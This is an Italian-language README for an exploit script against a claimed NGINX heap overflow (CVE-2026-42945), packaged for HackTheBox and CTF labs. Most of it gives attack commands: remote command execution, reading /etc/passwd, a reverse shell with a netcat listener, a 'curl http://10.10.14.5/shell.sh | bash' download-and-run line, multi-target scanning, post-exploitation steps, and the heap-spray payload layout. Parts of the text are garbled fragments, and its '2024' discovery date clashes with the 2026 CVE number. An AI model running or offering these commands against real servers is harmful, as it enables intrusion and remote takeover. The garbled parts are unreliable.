
exploit per CVE-2026-42945
Exploit standalone per la vulnerabilità di heap buffer overflow in NGINX scoperta nel 2024. Questa versione è ottimizzata per ambienti HackTheBox e CTF in cui non è possibile configurare container Docker.
CVE-2026-42945 è un heap buffer overflow critico in ngx_http_rewrite_module di NGINX, presente dal 2008 (versione 0.6.27). Il bug si verifica quando:
rewrite contiene ? nella sostituzione (imposta is_args = 1)set cattura parte dell'URIis_args = 0)is_args = 1)# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# Non sono necessari pacchetti Python aggiuntivi - utilizza solo stdlib!
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
Questo comando:
/api/python3 nginx_rift_helper.py --target 10.10.11.x --all
Questa operazione esegue:
Eseguire un comando:
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
Ottenere una reverse shell:
# Avviare prima il listener (in un altro terminale)
nc -lvnp 4444
# Eseguire l'exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
# Eseguire 'id'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# Eseguire 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# Leggere /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
# Terminale 1: Avviare il listener
nc -lvnp 4444
# Terminale 2: Eseguire l'exploit
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
ngx_pool_cleanup_s fittizia/api/ con un URI appositamente costruito che causerà overflow durante l'escapesystem() con il nostro comandoL'exploit presuppone che ASLR sia disabilitato o che si conoscano gli indirizzi. Su HTB:
Se ASLR è abilitato, potresti aver bisogno di:
La configurazione vulnerabile richiede:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
/api/, /admin/, /internal/Possibili ragioni:
ASLR è abilitato - Gli indirizzi sono randomizzati
Versione libc diversa - system() a offset differente
--verboseVersione non vulnerabile - Versione corretta o configurazione diversa
WAF/IDS che bloccano - Controlli di sicurezza attivi
Endpoint sbagliato - Non utilizza la combinazione rewrite+set
Usa sempre --verbose per il debug:
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
Questo mostra:
# Trova il tuo IP tun0
ip addr show tun0 | grep inet
# Usa questo IP per --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost TUO_IP_TUN0 --lport 4444
Una volta ottenuto l'accesso iniziale:
# Aggiorna a TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Metti in background e imposta terminale
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Controlla l'utente corrente
id
whoami
# Cerca le flag
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# Controlla i permessi sudo
sudo -l
# Controlla i binari SUID
find / -perm -4000 2>/dev/null
Se hai bisogno di personalizzare il payload:
# Modifica la funzione make_body() in nginx_rift_htb.py
# Regola BODY_LEN per configurazioni diverse
# Modifica la stringa di overflow (349 'A' + 969 '+')
# Crea una lista di target
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# Testa ciascuno
while read target; do
echo "Testing $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] Avvio listener..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] Esecuzione exploit..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Imposta is_args=1
set $original_endpoint $1; # Alloca basandosi su is_args=0
}
1. Spray POST → Riempie heap con strutture di cleanup fittizie
2. GET /api/AAAA...++++...X → Attiva overflow
3. Overflow corrompe puntatore cleanup del pool adiacente
4. Pool distrutto → Chiama system(cmd)
[Corpo Heap Spray - 4000 byte]
+0: system_addr (8 byte)
+8: data_addr (8 byte)
+16: next (8 byte, NULL)
+24: command_string (variabile)
+rimanente: padding 'A'
Questo strumento è fornito solo a scopo educativo e per test di sicurezza autorizzati. L'utilizzo contro sistemi di cui non si è proprietari o per cui non si ha esplicita autorizzazione è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.
Solo a scopo educativo/di ricerca. Usare in modo responsabile.